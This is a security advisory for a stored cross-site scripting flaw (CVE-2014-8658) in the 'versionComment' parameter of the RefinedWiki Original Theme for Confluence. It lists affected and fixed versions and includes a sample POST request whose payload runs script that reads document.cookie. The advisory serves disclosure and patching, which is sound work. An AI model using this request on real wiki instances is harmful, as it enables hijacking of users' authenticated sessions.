RefinedWiki Original Theme 'versionComment' Parameter HTML Injection Vulnerability

Bugtraq ID:	70798
Class:	Input Validation Error
CVE:	CVE-2014-8658
Remote:	Yes
Local:	No
Published:	Oct 29 2014 12:00AM
Updated:	Apr 13 2015 09:01PM
Credit:	SEC Consult Vulnerability Lab
Vulnerable:	RefinedWiki Original Theme 4.0 RefinedWiki Original Theme 3.0
Not Vulnerable:	RefinedWiki Original Theme 4.0.12 RefinedWiki Original Theme 3.5.13 RefinedWiki Original Theme 4.1

RefinedWiki Original Theme 'versionComment' Parameter HTML Injection Vulnerability

RefinedWiki Original Theme is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

RefinedWiki Original Theme 3.x through 4.0.x are vulnerable.

RefinedWiki Original Theme 'versionComment' Parameter HTML Injection Vulnerability

An attacker can exploit this issue using a web browser.

The following example request is available:

POST /pages/doeditpage.action?pageId=111111 HTTP/1.1
[...]
atl_token=5aabd74e50724eaac8290a3447d9f6e7a179559e&originalVersion=5
&title=Title&wysiwygContent=[REMOVED]&watchPageAfterComment=true
&versionComment=<script>alert(document.cookie)</script>
&notifyWatchers=true&confirm=Save&viewPermissionsUsers=
&editPermissionsUsers=&viewPermissionsGroups=&editPermissionsGroups=
&parentPageString=&moveHierarchy=true&position=&targetId=&draftId=0
&entityId=9012708&newSpaceKey=tools

RefinedWiki Original Theme 'versionComment' Parameter HTML Injection Vulnerability

References:

• Refinedwiki Homepage (Refinedwiki)
  
• RefinedWiki Original Theme Home Page (Refinedwiki)
  
• SEC Consult SA-20141029-1 :: Persistent cross site scripting in Confluence Refin (SecLists.Org)